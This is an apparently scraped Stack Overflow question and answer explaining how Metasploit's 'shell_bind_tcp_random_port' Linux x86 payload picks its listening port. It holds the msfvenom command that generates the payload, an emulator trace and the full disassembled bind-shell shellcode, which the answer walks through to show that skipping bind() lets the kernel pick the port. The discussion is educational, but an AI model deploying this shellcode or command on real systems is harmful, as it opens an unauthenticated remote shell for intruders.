Does __NR_socketcall use a random port by default?

0

I'm not seeing where its setting a port in the code for the payload shell_bind_tcp_random_port

$ sudo msfvenom --platform linux -p linux/x86/shell_bind_tcp_random_port -f raw | sctest -vvv -Ss 10000 -G shell-bind-tcp-random.dot 
graph file shell-bind-tcp-random.dot
verbose = 3
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000002 => 
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
... output truncated ...
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb6 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0xffffffff => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

And the assembly code is:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  B066              mov al,0x66
00000006  43                inc ebx
00000007  52                push edx
00000008  53                push ebx
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  CD80              int 0x80
0000000F  52                push edx
00000010  50                push eax
00000011  89E1              mov ecx,esp
00000013  B066              mov al,0x66
00000015  B304              mov bl,0x4
00000017  CD80              int 0x80
00000019  B066              mov al,0x66
0000001B  43                inc ebx
0000001C  CD80              int 0x80
0000001E  59                pop ecx
0000001F  93                xchg eax,ebx
00000020  6A3F              push byte +0x3f
00000022  58                pop eax
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F8              jns 0x20
00000028  B00B              mov al,0xb
0000002A  682F2F7368        push dword 0x68732f2f
0000002F  682F62696E        push dword 0x6e69622f
00000034  89E3              mov ebx,esp
00000036  41                inc ecx
00000037  CD80              int 0x80

Does __NR_socketcall use a random port by default?

I'm not seeing where its setting a port in the code for the payload shell_bind_tcp_random_port

linux
assembly
x86
nasm
metasploit
asked on Stack Overflow Sep 9, 2015 by Sam Roberts • edited Sep 11, 2019 by Michael Petch

1 Answer

1

I believe the first half of the code holds your answer.

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  B066              mov al,0x66
00000006  43                inc ebx
00000007  52                push edx
00000008  53                push ebx
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp

The section above uses 0x66(102) which is sys_socketcall. EBX is set to 1 so we are doing the equivalent of a sys_socket. In this case our_socket = socket (AF_INET, SOCK_STREAM, IPPROTO_IP) which will create a TCP socket with these parameters.

The next step is:

0000000F  52                push edx
00000010  50                push eax
00000011  89E1              mov ecx,esp
00000013  B066              mov al,0x66
00000015  B304              mov bl,0x4
00000017  CD80              int 0x80

Again we are doing a sys_socketcall but BL is set to 4. This is the equivalent of sys_listen. In this case it would be sys_listen (our_socket, 0) which starts listening on our socket.

The thing to note is that this code didn't use the traditional socket/bind/listen method. It skipped the bind call altogether. On Linux if you don't do bind on the socket, listen will implicitly assume a port of 0 is to be bound. Binding on port 0 directs Linux to search for an available unprivileged port to bind to. I wouldn't consider what is returned a random port, but it will simply be the first unprivileged and available/unused one the system finds based on an internal algorithm.

answered on Stack Overflow Sep 11, 2015 by Michael Petch • edited Apr 13, 2017 by Community

User contributions licensed under CC BY-SA 3.0